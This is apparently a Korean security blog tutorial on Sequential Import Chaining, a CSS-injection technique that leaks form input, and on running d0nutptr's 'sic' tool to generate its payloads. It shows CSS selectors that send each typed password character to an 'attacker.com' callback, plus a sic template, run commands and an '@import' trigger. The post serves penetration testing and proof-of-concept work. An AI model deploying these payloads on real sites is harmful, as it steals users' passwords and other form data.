Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취

Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취

오늘은 CSS 기반의 공격 기법인 Sequential Import Chaining에 대해 이야기하려고 합니다. 자체적으로 뭔가 영향력이 있는건 아니지만, CSS를 제어할 수 있을 때 영향력을 증폭시켜줄 수 있는 방법이니 꼭 알아두고, 유용하게 사용하시길 바래요 😊

Sequential Import Chaining

Sequential Import Chaining은 d0nutptr이 제시한 공격 기법으로 CSS Injection이나 RPO(Relative Path Overwrite) 시 영향을 올리기 위한 Exploit 방법 중 하나입니다.

이 방법은 CSS의 Attribute Selectors란 기능, 즉 DOM Object의 value 값에 따라서 스타일을 지정할 수 있도록 제공하는 기능을 이용한 방법인데요. 탈취하려고 하는 Object의 name, id, class에 Attribute Selector를 모든 문자마다 이에 상응하는 background를 지정하여 사용자가 해당 Object에 키 입력 시 CSS에 따라서 변경된 주소를 호출하는 방법입니다.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

만약 사용자가 CSS Injection이 발생한 페이지에 접근한 후 아래 Object 영역에 패스워드를 작성하는 순간, 이미지 처리를 위해 공격자 서버로 GET 요청이 발생하게 됩니다.

<form>
    <input type=text name=id value="">
    <input type=password name=password value="">
</form>

form 입력 시 발생한 requests

다만 이러한 과정은 CSS Injection을 통해 주입해야할 값이 굉장히 많기 떄문에 d0nutptr가 만든 sic란 도구를 통해서 쉽게 구성하는게 좋습니다. 자 그럼 sic로 넘어가보죠.

Generate payloads with sic

Workflow

sic는 위 과정을 쉽게 구성하기 위한 어플리케이션입니다. 이러한 과정은 총 3가지의 flow로 구성됩니다.

  1. @import를 통해 staging payload를 읽어옵니다.
  2. staging payload에는 다시 @import를 사용해 여려 payload를 polling 하는 코드가 존재합니다.
  3. 각각 payload는 background를 통해 sig 서버를 호출하고, sig 서버는 이 값에 따라 다시 @import 규칙을 생성하여 브라우저가 로드하도록 처리합니다.

Installation

sic는 rust 기반으로 프로그램으로 cargo를 이용해 build/install이 가능합니다. cargo registry에는 sic란 이란 이름의 다른 도구가 이미 있기 때문에 d0nutptr의 github에서 따로 클론 후 빌드하여 사용해야 합니다.

git clone https://github.com/d0nutptr/sic
cd sic 
cargo install --path .

이제 /Users/<유저이름>/.cargo/bin 하위에 sic 바이너리가 생성됩니다. PATH 등록을 해두셨다면 편하겠죠.

Generatec

sic는 polling할 host, callback host 그리고 template 파일을 필수로 명시해야 합니다.

sic -p 3000 --ph <polling-host> --ch <callback-host> -t <template>

먼저 가장 중요한 template을 보면 polling payload에서 사용할 css 코드를 정의가 필요한데요. 특별한건 없고 탈취할 데이터에 맞는 CSS를 지정한 후 background쪽에 {{:callback:}}{{:token:}}을 통해 변수 값을 세팅해주시면 됩니다.

input[name=password][value^={{:token:}}] { background: url('{{:callback:}}'); }

callback은 요청받을 주소이자 cli에선 --ch flag 값이며, token은 탈취할 데이터를 기록할 필드를 의미합니다. 예시를 하나 들어보면 3000 포트로 polling host를 구성, callback은 3001번 포트, 그리고 위 template을 파일로 저장하여 로드합니다.

sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t tt.txt

이후 polling-host 주소를 @import 구문을 이용하여 호출하기만 하면 됩니다.

Trigger

<style>@import url('http://localhost:3000/staging?len=32');</style>

staging payload polling payload

페이지에 sic의 주소를 import하는 CSS 코드가 로드되면 위와 같이 polling-host 주소에서 페이로드를 가져옵니다. 먼저 staging payload로 읽어올 여러 payload(polling payloads)를 한번에 로드하고, polling payload에선 각각 background 를 지정하는 코드가 포함됩니다.

password에 a 입력 시 callback host로 웹 요청이 발생합니다.

sic에서도 로그로 확인이 가능하구요.

Conclusion

전 사실 CSS Injection이나 RPO 등의 PoC를 작성할 때 position을 많이 건드리긴 합니다. 아주 예전에 css injection의 대표적인 악용 사례인 iframe을 이용한 탈취는 제약적인 조건이 많아서 솔직히 애용하진 않았었는데요. sequential import chaining의 이러한 제약 조건 없이 악용 케이스를 만들 수 있어서 PoC에 대한 고민이나 exploitable을 증명할 때 정말 유용하게 사용할 수 있는 기술이라고 생각합니다.

그리고 매번 느끼지만, 정말 FE는…. 심오합니다 😫

References

  • https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors
  • https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
  • https://github.com/d0nutptr/sic
  • https://www.hahwul.com/cullinan/rpo/
  • https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/